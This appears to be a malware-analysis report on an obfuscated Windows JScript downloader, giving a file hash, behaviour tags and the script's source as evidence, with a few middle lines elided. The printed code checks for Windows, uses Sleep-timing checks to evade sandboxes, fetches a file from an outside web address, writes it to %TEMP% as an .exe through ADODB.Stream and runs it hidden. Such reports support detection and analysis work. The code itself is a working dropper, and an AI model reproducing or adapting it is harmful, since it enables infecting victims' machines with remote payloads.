20160328_23bbd1b2507ca350fc67fba35460b2f8.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256f0e55f2ffa5e19240c4a6be9ee722544b034b337b8f1c3cf48cc67b5aed5ec3a
Evidence
1var Xnuntyh = false;
2var Excxauoc = "CreateObject";
3var Jmjxv = function Pcavm() {return WScript[Excxauoc]("WScript.Shell");}();
4var Jiyylqkizw = 123213;
5var Hlool = "MSXML2.XMLHTTP";
6var Xjaygd = 2123213;
7var Csdrhoqr = 0;
8function Aeaem(Mviak){Jmjxv["Run"](Mviak, Csdrhoqr, Csdrhoqr);};
9function Lmmlptvmwy(){return Hlool;};
10function Szhbj(Zqapsdbe, Lowsbljeg){return Zqapsdbe - Lowsbljeg;};
11function Jsbjved(){return Excxauoc;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Xnuntyh = true;
15 @end
16@*/
17var Dtxkn = "";
18if (Xnuntyh)
19{
20function Xybrdgu(){return 22;};
21var Jicufgd = 0; var Wnzwdw = 0;
22function Zowxcxq()
23{
24var Idpkijwxnj = new this["Date"]();
25var Xexoms = Idpkijwxnj["getUTCMilliseconds"]();
26WScript["Sleep"](Xybrdgu());
27var Idpkijwxnj = new this["Date"]();
28var Vptweqzr = Idpkijwxnj["getUTCMilliseconds"]();
29WScript["Sleep"](Xybrdgu());
30var Idpkijwxnj = new this["Date"]();
31var Iaduchqg = Idpkijwxnj["getUTCMilliseconds"]();
32var Jicufgd = "Uqdvfhv";
33Jicufgd = Szhbj(Vptweqzr, Xexoms);
34var Wnzwdw = "Ybaktayn";
35Wnzwdw = Szhbj(Iaduchqg, Vptweqzr);
36Dtxkn = "open";
37return Szhbj(Jicufgd, Wnzwdw);
38}
39var Oqfpkcd = false;
40var Wuvulsfqqq = false;
41for (var Xymnm = Csdrhoqr; Xymnm < Xybrdgu() * 1; Xymnm++){if (Zowxcxq() != Csdrhoqr){
42Oqfpkcd = tru …
49:9… kcd && Mshcidruk() && Wuvulsfqqq){
50function Xpzydomk() {return Jmjxv["ExpandEnvironmentStrings"]("%TEMP%/") + "Fqfbz2e4QB9.exe";};
51 Xxgcmj = Lmmlptvmwy();
52 Fbakkthc = WScript[Excxauoc](Xxgcmj);
53 var Idunyij = 1;
54 while (Idunyij){
55try {
56Fbakkthc[Dtxkn]("GET", "http://www.creative-drumschool.de/p3isakd", false);
57Fbakkthc["send"]();
58Kznsp = "Sleep";
59do {WScript[Kznsp](Xybrdgu() * 11)} while (Fbakkthc["readystate"] < 4 );
60Idunyij = Csdrhoqr;
61} catch(Naiclcvvhc){Idunyij = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Dhctarcc(Gwojjvqf) {var Tvrzgjqeab = (1, 2, 3, 4, 5, Gwojjvqf); return Tvrzgjqeab;};
64Xbmfcoki = WScript[Jsbjved()]("ADODB.Stream");
65Xxgcmj = Xbmfcoki;
66Xxgcmj[Dtxkn]();
67Xxgcmj["type"] = Dhctarcc(1);
68Xxgcmj["write"](Fbakkthc["ResponseBody"]);
69Xbmfcoki["position"] = Dhctarcc(Csdrhoqr);
70Xxgcmj["SaveToFile"](Xpzydomk(), Dhctarcc(2) );
71Xbmfcoki["close"]();
72Aeaem(Xpzydomk());
73}
74}
75